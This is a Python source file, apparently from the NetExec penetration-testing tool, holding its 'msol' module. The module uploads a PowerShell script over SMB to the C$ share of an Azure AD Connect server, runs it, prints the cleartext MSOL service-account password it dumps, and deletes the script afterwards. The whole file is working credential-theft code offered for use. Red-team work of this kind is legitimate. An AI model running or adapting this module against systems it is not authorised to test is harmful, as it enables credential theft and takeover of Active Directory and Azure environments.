NetExec/nxc/modules/msol.py

89 lines
3.3 KiB
Python

# MSOL module for nxc
# Author of the module : https://twitter.com/Daahtk
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
from sys import exit
from os import path
from nxc.helpers.powershell import get_ps_script
class NXCModule:
name = "msol"
description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.use_embedded = None
self.MSOL_PS1 = None
self.msol_embedded = None
self.cmd = None
self.msolmdl = None
self.msol = None
self.tmp_share = None
self.share = None
self.tmp_dir = None
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
MSOL_PS1 // Path to the msol binary on your computer
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.msol = "msol.ps1"
self.use_embedded = True
self.msolmdl = self.cmd = ""
with open(get_ps_script("msol_dump/msol_dump.ps1"), "r") as msolsc:
self.msol_embedded = msolsc.read()
if "MSOL_PS1" in module_options:
self.MSOL_PS1 = module_options["MSOL_PS1"]
self.use_embedded = False
def exec_script(self, _, connection):
command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1"
return connection.execute(command, True)
def on_admin_login(self, context, connection):
if self.use_embedded:
file_to_upload = "/tmp/msol.ps1"
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
else:
if path.isfile(self.MSOL_PS1):
file_to_upload = self.MSOL_PS1
else:
context.log.fail(f"Cannot open {self.MSOL_PS1}")
exit(1)
context.log.display(f"Uploading {self.msol}")
with open(file_to_upload, "rb") as msol:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
context.log.success(f"Msol script successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
if self.cmd == "":
context.log.display(f"Executing the script")
p = self.exec_script(context, connection)
for line in p.splitlines():
p1, p2 = line.split(" ", 1)
context.log.highlight(f"{p1} {p2}")
else:
context.log.fail(f"Script Execution Impossible")
except Exception as e:
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
context.log.success(f"Msol script successfully deleted")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")